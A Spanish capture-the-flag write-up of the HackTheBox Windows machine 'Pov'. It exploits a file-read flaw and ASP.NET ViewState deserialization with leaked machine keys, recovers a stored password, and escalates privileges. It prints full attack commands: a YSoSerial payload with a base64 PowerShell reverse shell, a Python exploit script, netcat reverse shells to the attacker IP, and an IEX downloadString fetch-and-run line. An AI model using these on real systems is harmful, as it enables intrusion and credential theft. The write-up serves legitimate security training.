Pov – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Pov
es una máquina Windows
de dificultad media de HackTheBox
. Luego de performar algunos scans sobre sub-dominios, somos capaces de encontrar un virtual host con el sub-dominio dev.pov.htb
disponible para el servidor web. Este nuevo sitio web, el cual se ve como un blog, nos permite descargar un portafolio PDF. Analizando cómo el servidor provee este archivo, encontramos que éste utiliza View State
. Luego de una breve investigación, usamos la herramienta YSoSerial.Net
para generar un payload y ganar acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para otro usuario llamado alaading
, al cual podemos pivotear internamente con estas credenciales. Este nuevo usuario tiene el privilegio SeDebugPrivilege
, aunque deshabilitado. Utilizando distintas herramientas podemos volver a habilitar este privilegio. Finalmente, abusando de este privilegio, somos capaces de “secuestrar” un proceso privilegiado y tomar control total sobre la máquina víctima.
User / Usuario Link to heading
Empezando con un scan de Nmap
éste muestra sólo 1 puerto abierto: 80
HTTP
:
❯ sudo nmap -sVC -p80 10.10.11.251 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 18:45 -04
Nmap scan report for 10.10.11.251
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: pov.htb
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds
donde podemos ver que estamos ante un servidor web Microsoft Internet Information Services
(Microsoft IIS
).
Visitando el sitio http://10.10.11.251
(donde 10.10.11.251
es la IP de la máquina víctima) muestra un simple sitio web:
El sitio presenta un projecto acerca de ciberseguridad. Como sea, muchos de los botones de la página no funcionan, ni llevan a algo.
Dado que no podemos interactuar con la página, empezaré a buscar por directorios aplicando un Brute Force Directory Listing
(Listado de Directorios por Fuerza Bruta) con Gobuster
, pero no obtuve nada.
En este punto empezaré a buscar por vhosts
. Para esto, primero agrego 10.10.11.251
con el dominio pov.htb
, dado que pov.htb
está presente en el nombre del sitio web y, también, el final de la página web (y del parámetro http-title
del scan de Nmap
). Esto lo hacemos corriendo el comando:
❯ echo '10.10.11.251 pov.htb' | sudo tee -a /etc/hosts
Una vez hemos agregado este dominio a nuestro archivo /etc/hosts
, empezemos a buscar por subdominios usando ffuf
:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fl 234
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response lines: 234
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 158ms]
:: Progress: [4989/4989] :: Job [1/1] :: 260 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
Donde encontramos 1 subdominio: dev.pov.htb
. De manera que lo agrego a mi archivo /etc/hosts
, y éste se ve ahora como:
❯ cat /etc/hosts | tail -n 1
10.10.11.251 pov.htb dev.pov.htb
Ahora que hemos agregado este sitio, podemos visitarlo. Primero lo reviso utilizando cURL
:
❯ curl -s http://dev.pov.htb
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>
donde podemos ver que éste redirige a http://dev.pov.htb/portfolio
.
Visitando http://dev.pov.htb/portfolio
muestra otra página web:
Yendo a la parte inferior de esta página web, el sitio web nos permite descargar un archivo PDF
el cual no es más que el CV de un diseñador:
Descargando y chequeando este CV, aparentemente no parece ser más que un CV normal:
Noto que cuando pongo my mouse encima del botón Download CV
(pero sin clickearlo), éste llama a una función de JavaScript
llamada __doPostBack
. Mirando el código fuente de la página de esta función, éste se ve como:
var theForm = document.forms['form1'];
if (!theForm) {
theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
donde está llamando a las variables eventTarget
y eventArguent
para ejecutar alguna acción.
Para revisar qué es lo que realmente sucede cuando clickeo en el botón Download CV
es que decido iniciar una sesión de Burpsuite
e interceptar la petición que se manda cuando clickeamos sobre el botón de descarga. Haciendo esto tenemos lo siguiente:
donde tenemos la petición HTTP
:
POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://dev.pov.htb
DNT: 1
Connection: close
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=pq4lVre5C%2BeE0zeQ7GhEylpWd60Dp5RKMQDIZjOnuFnsE4TMwTIgBobkoGJk2n3eD%2F2aWP0l4Ap2cIh98d8PLk%2Fi2uk%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=19foRXLpnWS5AHjpvopq9vbMZW8BAnmzZPMqWj3tx2KqbqPBU3OR1570e0DW5PuIIzjYQMCqfhlGC5NDM5NDlF1IPnamA%2BAJt5iU5ftodSZfiggU20q7HXkcXH7trj%2FIh8IJqw%3D%3D&file=cv.pdf
Basados en los argumentos, el servidor está usando View State
:
View State
is the method to preserve the Value of the Page and Controls between round trips. It is a Page-Level State Management technique. View State is turned on by default and normally serializes the data in every control on the page regardless of whether it is actually used during a post-backfile
el servidor está llamando al archivo cv.pdf
.Podriamos tratar de manipular cuál archivo es llamado. De manera que envío la petición al Repeater
en Burpsuite
(Ctrl+R
) y cambio el valor de la variable file
donde, eventualmente, cambiar el valor de cv.pdf
a /web.config
funciona:
Con esto obtenemos la respuesta:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 May 2024 23:17:09 GMT
Connection: close
Content-Length: 866
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
HackTricks ofrece una buen camino sobre cómo explotar el mecanismo ViewState
. Para esto necesitaremos de la herramienta YSoSerial.Net
(la cual puede ser descargada desde su repositorio de Github) y pasarla a otra Máquina Virtual con Windows
. Una vez allí, corremos el comando:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<Command Here>" --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionkey="<DescriptionKeyHere>" --validationalg="SHA1" --validationkey="<ValidationKeyHere>"
En mi caso, voy a la página de Reverse Shell Generator
(https://www.revshells.com/), escojo el payload PowerShell #3 (Base64)
, pongo mi IP de atacante y puerto de escucha (10.10.16.2
como mi IP de atacante y 443
como el puerto en escucha, en mi caso). Luego, de vuelta a la Máquina Virtual con Windows
, decido correr YSoSerial.Net
con el comando explicado más arriba, pero ahora agregando el payload/comando y las credenciales halladas:
C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU<SNIP>HMAZQAoACkA"
En mi caso, al correr el programa éste genera el payload:
7OOGcG4TMXWXqCm9Qv4r%2BmtOJ2tPkHx2Cci8xMAorxYGxhDxmwf1qyLMtlPssodM%2BWwRa6cAQkCUqW%2FE%2BjOi3MLYuIf1Qg%2FNAD0bYrc1RGCxEAka%2FRxLC%2BXHNNkPtH9Cwffrc2nvNKc0v69%2BLzGAoJjElBNoxjDltsFUyhP%2FYWFkXPUDD3%2Bf1HU%2FCXj9Ayk3HSxzEfobLY4FxxJzBw8b1h%2F%2Ftz1ePGB86ngU9eLDN1VxvVd573PJPQ%2FJTI4rhOMBVl9iMEqDIpM9%2F3%2BrFFS7G0Yhkrltw%2BNFfC1oplYvvPMWhQFIdoKSFanWoHkYaP%2Fw4F1IGWXSq1u7PQLvpmg5P1evLtSDcUfWNLUiS%2Fd0XS9xP8BkBQuola45DF9iyy5MCb2BYbUswLVqlMt9YcsICABqK36TCHFK0wRK%2BBtX%2Fh2pHg8u5J8J4wdi0umjNQlgH2WhsmqA35LUcC5NfJLowO00Z%2FkU2m3PQOzOnmkZTjCg0eHVE4LUceMJ2NOhf%2B17gjcc4WD55%2Bvqt7zO6klqv8khzoEcxpr7zNlaFhfcJZMFpQ8dWVNs9j%2Fa1pbk4bzQ3CTWMPRGw%2BRl7V%2BTxL3O0G09hh9ZloR41ebpQBWY9bGB47gu2fxxdmnhFKpPFmEOD8HCdWO6j1lekEKRENGQWANtPX63fsXMSNAh4jP1RXFUHyV9LiJuDpcNXWkkHaddlZ5HuX8kZ0UT0MtJYVF18%2F21mnduTNEZrFk1tL4IVKOQa%2BUNJdTiZI0DfD%2FEdbAJecS93uj3VkrkmwzJF3ekGyHHDlgZ%2FBADw8LNhbEEd2MvlSKQmOLcGTsigUaCWJDGW9kGHSrXE5tLk3mm1JpcyxltH2VuxEwZ9A%2B%2BWYLHkMG4dmAmmEkiO0hGFRl4D4e1Jm%2BqLmIkKj0YAcbUnJdfuY7MVPxjplDiSpPzhxztgHVCWACgQKargy8zxxmclFjLDF5LJkeAcS27GbJS9swK0OgloqiMsk1Iv1zuFkvQOtDlNvFBtb8zkwAvGN%2FLxCVCYdWiWRZaUNHQLldDyMALNAUKXtS9zyeXG7O2iXW3VVSkx1nu4Ma2BcwUdWZr9D0xIqvu8UW3LwAORDi5A5y6P1q80lWv1qJF4IjXWtd6Yz7LWtnop3Ma8t5LH3qe99gOeVnohOvcXv7KflxLPFZ1ahekiCSRjRmBlgdyeidOAkg7esosKnp%2FXEfjuDhMravbOlUQCW8XlhYHsH34KB6Vps1a5%2BtyZenRRGt9r9DHRiQz0W%2FgZFkUk%2FKzJeJtQGM0vRPvF87jgpHzUcrvuFYRyMM1cdEg1rtMMuXqiIjQUoHM5AOBlBYxUws37qY6CUDfCis7X%2BeuJhqmlJL9CXFdB1%2BhVmZ9HIfWVIwwtfmiqRZ6DCnsR5LE73I%2FptBV2mInZMVL4YFh4WUonC9seAC7%2BWil8K8dFigrefYZfFZMGx4sI9jM8jKbue%2FpdPUUgeShKJQLx8PgqyK3PmuYcSqYfKo1H9K%2Buuo3ZlJsIHRu253L8ZMlSd6DrPfLX%2Ft8yxMpp06kgS2Yr6KjThBCbXDAVoci0ZVpez5ix%2FdBNIZIGv%2BjelNgxAIB6x%2BoTGYf4c0Ffryrvcl2CrjLpkSnU7kqoOTkZgUugUeEDAWyU3b0oHZ1JkqHBHqtc0gVA4QkDdDvGvVhcIMGy3iXVeU9A8LrJZYlIbdAuaNbnSI28k8lu5w2aDmmZEBiKqJXrd%2B7aQvSqYlwxl02BKB0LzhAmMrBCvP8rB%2BHugTGuLWJ3jxMZuJWek9%2FGvz4mrfzoTeWu6UfyHKkUaVNcyp1ndMr9ICmtPUNmBWTXeJg5T%2Bl98qNzi16pD%2F%2BnrCLzmf5vzt3iYOiwP7r8mFpSmT2uPMS2YMZ%2F5FaQLl0bfOoILeH5TMkfHDLKIKIC%2BXXHkTEiqL3areyGVlH1mVavzMeb2Zd7W%2Fe33v%2BjBHuw1pzTbWbsEtvrbzltA9FAVtFtBGXQBZvvfB%2BX6CG8eB0MDWpAVtRS%2BwVqCRVe2i78uIAMyzYhtkEiveq8GLyuYAu49p%2BpnQAsfekWhGFc8k73%2BiulLV%2Bk4xSLjq56DYRSCSBaq8XoLPT9ZOV0wAj%2FM9jNiH3fTN4bLnqC6ETl7g2L%2FSjRmbF9D6e%2F32g%2BLPWwweH%2FmHUCcQ1L254%2BCGZXhf4T4g%2B4t2AETja6F918YMMJk1TVLxVpPeDdPx4F8bAJL3%2FDQ7EQ%2BWPNJFT6%2B4mtJkn%2Fo1XcoAM7E4QzVg7nDOwr2L5mBHd02ykqY%2BUreJkkF0kWvDvaEJiTgF3v1mYw59agZStKYxv9VMBfJ%2BMiORT8Gh9iqiGLAFoOwbcQVoyGDT122ACwgGfmgQg6lcmkTuLECTa0QjlELrG76NUJi6dFb9%2FbqH6U%2F%2BFD9l8JYbFNdsVZQKfi%2FH68zKNdiUE31kuG5E64mHS8z2dv9v%2Bza83go5WyIh2EJQ88kTy4CKhOCfeSHqqybftpJIb2hSvSGR6Rf3j0tY3AQx9GtaMgyThDDvUIihPILyd5DTZnDSY1nSQMFeuX50AlMeqwIzPLFmXCuN9vy0W1LuLjnzMxdFblI6qxEIUq9HzPQKGTHjepmxx%2Fddt7IGu9bBeoqW6k2oHrGQEGgKa3KHyE8lWGxWAViFZYGlY9YtMq5TyLgn%2BnUZxG8d6G3ePE0bI2%2BYDvCRH69ofD%2FjxALK4UUCKGwP3QGLO1YmFKx0Tk3eWT4vx%2BiWktLDXVEokMBFZXFopuZQBRP12Q7oDPmRQtPRoUNxU3w0RsHjEDIzU5fQpfdPm1KrBQhJt1NVzT7yHBrSg8vujiBjgozskvCrPg75e1dNMmVDc7d3xrHoiCmlaACrxM%2B%2BJu1PcnTNtQaRXD3zk78Lwh6ZqRjof4V%2BiKKDC2o6D9klArbLo8HBx2XYedv59oL5v%2B6uWiDtiU%2FHw5ohtAt18fmb56mfKbWQWr%2Bo7xHh4eTCFDuyamAvcfLk0B9JAdQVRHAO5M8FVTc6siKA2F0Xxd8yJpS4fyU8b5bzildMftaIMGpWRavQXsUVEeuKZnCI6WNDurxx2uvTreAdCnVVFx7gOfRpHInywP2xGbwRrugQFhS54faF0Kw8N%2FHg9i4xhljPrN0JmCj2ObCMa%2Bne1r5qYiJSyd3DpDJB%2FKJP5PuP7BrK49GrlgMUxKHNplW8bcdzkoQ6onHJKbsaV7K24vOxkakqwyJxlGrS2%2Byua7RXEmB5m0dYkTJxiGz45Lxdp2u6bLPXG6ltFQKV%2BljKXzVdvrJ%2FRUAJEZKlf3aJ%2Bx5aEfLwOSOSZPpHTQeFVm5TDoE%2FHTshADXEMNQ%2Bu1vZjAV4WoAmUOAoWMFEc%2FY3UrDV%2Bkql6VOEBaE%2BVbuHNNK72buVn0aFRL%2BjmxyZjXZ%2Byk7hn9%2FNcgMzzToGTVJKUEVS%2B%2BYuDhvQJYt9SfFvwNjCb9thd7hNSZFrJii1vKS9nN1%2BIVu0irMn82WwAA2iAEQj%2FtOHOKLyaRYHv9yka9dX6bfxMV%2BuR4V%2F6cEI0N1zoHF1lLd8IuS%2BUhADhFGL2o%2BluhluuM%2FVW%2FpJn63vNIqcx1f%2FHwY%2BtCm0jBKVHFiiY%2FihEDQG5xQczaYhyqK575SzKYoyS5b5ky5LQI%2Bo3eFoM1ABvQzxdsP4LslZ57aaJUaNky4llWmW%2F785NadYr0n7Btv53Q84XI9cQSGg%2F58jCBOEm9248dpSUy2AZR0NwHm5b908ftGS6wtth1Ue3i4etopiFLDer4eMfnp%2BVq6BnM5XMZXOYFm4oVxOUkUJ3nHXkTqPMOvqHS3ftWC%2FOlRvG2j6%2Bnt3kn610sl0FcOo63daLKi%2BEpwwuY8H6B8knKuc5snacPkA4lPXDk9cGjVwmSsfaMuwtS9rJ7T2JqxykW7ZJobYI%2FGEQVvAlYmYbGoZRzr5vh6yPhVBtAoW5JyXtRO%2BQnUwmORRoQlBO1yF7sYvWid6GdSdN2gbLdh7uxS8W6QCLxhyuSh8I6zWOeWdjwqDyjCs1fcM5jSII3hQNZjpKBj0y7FeNfvKDpidq3jDjksHz7E3CDsl4pyiExI3uf9xhHjzQZbKDnVC%2ByI794yf8gQLNyZfqcxfDY3LbDA%2F0adHKFSe6vmDPOMyXkrzoSYkh1AhWwH4anB9hOnqcwg3pOaOaHP0ZqCWooA4%2FbsHeQMlNNPWoZuCzCDLB5DbRnS1b7T9LUlU0TDu2GBOw5HJXFXqusgdu98i%2FtE8yKTIzSQFdiLtT2miZtOKYe8TTc5i0%2FZBzxjdkH4zSzjF81PNX8lbPYQJUArQ6yymMPOIh0wu%2FFfTR8XoydzYfhcn%2FKSc2dkQfepoYVh%2Fe0HQf9Wf5EbicBXF2ZumcyUROd5%2Fj5kWNXn4BG74kk19hU9lS88jqnaCOtithxUcth5BVVNQd89iRxjEiNxyW2o7aIXMWzTMcoOu9vdIM7YzP%2BpaUxnvQFTh%2FxqRFjUy2rvSszjn%2FYK5LYpLctP3ROO%2BppxXoN7PTBOZrCSfM79TShqek%2BcOTBRpb%2Feivb0l2cvkVP1DrsiheoWVBkGFTgFKId6plAULSOsoHzRIqOPlFYqjvPlRadxmHixQwYEYbaICuPR8ZAMeWn%2BHo5GmgYmHefcXPFBY%2B3WmnFFs0dGR2DAOqGnGb%2FGRcb05n5MKsN9mbM5yU58PmbGkUt86j21V545LWRq9W%2BsFqYRkVPpUST8gPuGpUT216m0%2FcmO9eSfbwDgzEFvIdZMMF%2BRXql%2FB9HZZu8KQUsW%2Fbwz%2F7nAhsfjSiWRwzOdSzNZoIua65qphY1N8IYU%2BeNmdLUzG0LGT%2FiF4lF53FRbwMOuFwtv0ehw9WqOUWo7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE
Es importante de recalcar y anotar que este payload será distinto para cada usuario, ya que la IP de atacante y puerto de escucha pueden ser distintos a los míos.
Ahora, tenemos 2 opciones:
- Usar
Burpsuite
, interceptar la petición enviada al servidor al clickearDownload CV
y pasar el payload a la variable__VIEWSTATE
(tal cual fue explicado en HackTricks) - Hacer un simple script en
Python
la cual envía todos estos datos y peticiones, pero vía consola; de manera que si perdemos la conexión -por cualquier razón que sea- podemos reconectar fácilmente a la máquina.
Yo elijo la segunda opción, donde creo un simple script de Python
:
import requests
import argparse
import sys
import urllib.parse
def parse_arguments()->argparse.Namespace:
parser = argparse.ArgumentParser(description="A simple argument parser example.")
# Add arguments
parser.add_argument('-u', '--url', type=str, help="Url to make POST request to. Example: http://dev.example.htb/example/", required=True)
parser.add_argument('-c', '--command', type=str, help='ViewState command', required=True)
return parser.parse_args()
def make_POST_request(url: str, command: str)->None:
generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
payload = {"__EVENTTARGET": "download",
"__EVENTARGUMENT": '',
"__VIEWSTATE": urllib.parse.unquote(command),
"__VIEWSTATEGENERATOR": "8E0F0FA3",
"__EVENTVALIDATION": "pGfjsostEYtFuRQ+WLNYLVAVMkGFgPjb4CDyPOQ+k20Bf6VSQiuoaYE7iH2XNLMQRiPHNeCRYzI/Gxbh1N4NVUaITnLyalHjhxMVG+ZsotApeeHvWBirBzUW5IHovXP985Kdnw==",
"file": "cv.pdf"}
r = requests.post(url, headers=generic_headers, data=payload, verify=False)
if r.status_code != 200:
print(f"[!] Could not execute the payload. Code status {r.status_code!r}")
sys.exit(1)
print("[*] Payload succesfully executed.")
return
def main()->None:
# Get user arguments
args = parse_arguments()
# Make the malicious request
make_POST_request(args.url, args.command)
if __name__ == "__main__":
main()
Finalmente corro:
❯ python3 request_server_exploit.py --url 'http://dev.pov.htb/portfolio/' --command '7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE'
Donde 7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE
es el comando generado (y cortado para propósitos de presentación de este WriteUp) por YSoSerial.Net
. Así, en mi listener con netcat
obtengo una conexión como el usuario sfitz
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49673
whoami
pov\sfitz
En C:\Users\sfitz\Documents
podemos ver algunos archivos interesantes:
PS C:\windows\system32\inetsrv> dir C:\Users\sfitz\Documents
Directory: C:\Users\sfitz\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 12/25/2023 2:26 PM 1838 connection.xml
y si chequeamos el contenido del archivo connection.xml
tenemos:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
Somos capaces de extraer credenciales de este archivo siguiendo las instrucciones de HackTricks:
PS C:\windows\system32\inetsrv> $user = "alaading"
PS C:\windows\system32\inetsrv> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" | ConvertTo-SecureString
PS C:\windows\system32\inetsrv> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\windows\system32\inetsrv> $cred.GetNetWorkCredential() | fl
UserName : alaading
Password : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain :
Donde obtenemos las credenciales: alaading:f8gQ8fynP44ek1m3
Dado que no tenemos ningún servicio disponible/puerto abierto fuera del puerto 80
para HTTP
, trataremos de pivotear al usuario alaading
dentro de la máquina víctima. Para esto, pasamos un binario de netcat
para Windows
y la herramienta RunasCs
(la cual puede ser descargada desde su repositorio de Github); esto para enviarme a mi máquina de atacante una reverse shell en una CMD
, pero ahora como el usuario alaading
. Para esto, empezamos un servidor HTTP
temporal en Python
por el puerto 8000
:
❯ ls && python3 -m http.server 8000
nc64.exe RunasCs.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
y en la máquina víctima descargo los archivos:
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe
PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe
PS C:\Users\sfitz\Documents> dir C:\Users\Public\Downloads
Directory: C:\Users\Public\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/15/2024 8:18 PM 45272 nc.exe
-a---- 5/15/2024 8:22 PM 51712 runascs.exe
Una vez que todos los archivos han sido transferidos, decido correr netcat
como el usuario alaading
usando RunasCs
para enviarme una CMD
. Antes de esto, recordar empezar un listener con netcat
en el puerto 443
en nuestra máquina de atacante:
❯ rlwrap -cAr nc -lvnp 443
y en la máquina victima, corremos:
PS C:\Users\sfitz\Documents> C:\Users\Public\Downloads\runascs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac
No output received from the process.
Y obtenemos una shell como el usuario alaading
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
pov\alaading
donde, finalmente, podemos obtener la flag de usuario en el Desktop del usuario alaading
.
NT Authority/System - Administrador Link to heading
Revisando los privilegios del usuario alaading
tenemos:
C:\Windows\system32>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeDebugPrivilege Debug programs Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeDebugPrivilege
podría ser interesante. No obstante, éste se encuentra deshabilitado.
Primero, trato de usar la herramienta FullPowers
para habilitarlo, pero falla. Luego, siguiendo las sugerencias de este blog, me descargo la herramienta psgetsys.ps1. Una vez descargada, en la máquina víctima paso de una CMD
a una Powershell
simplemente corriendo:
C:\Windows\system32> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
y después de ello, luego de empezar un servidor Python
HTTP
temporal en el puerto 8000
donde psgetsys.ps1
se encuentra almacenado (python3 -m http.server 8000
), importo el módulo desde mi máquina en la máquina víctima:
PS C:\Windows\system32> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')
Siguiendo las instrucciones del blog buscamos un proceso privilegiado para “secuestrar”. En este caso buscamos por winlogon
y para ello corremos:
PS C:\Windows\system32> Get-Process winlogon
Get-Process winlogon
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
255 12 2652 16404 0.20 552 1 winlogon
donde el parámetro Id
es el que nos interesa, en este caso el valor es 552
(éste puede ser levemente diferente en el caso de cada uno, así que revisar esto).
Luego de correr este comando podemos ver que SeDebugPrivilege
está habilitado:
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
No obstante, me encuentro con un problema: si cambio de vuelta a una CMD
(salgo de la sesión de Powershell
escribiendo exit
) el permiso SeDebugPrivilege
vuelve a aparecer como deshabilitado (Disabled
). De manera que, desde esta sesión de Powershell
con el privilegio habilitado, me mando una nueva reverse shell con CMD
a otro listener con netcat
:
PS C:\Users\Public\Downloads> cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe
y vuelvo a tener conexión, pero esta vez en una CMD
con todos los privilegios habilitados:
❯ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Downloads>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeDebugPrivilege Debug programs Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
He de decir que de la sesión de Powershell
que tenía previamente psgetsys.ps1
intenté obtener una shell, pero no ocurrió nada:
PS C:\Users\Public\Downloads> import-module .\psgetsys.ps1
PS C:\Users\Public\Downloads> ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
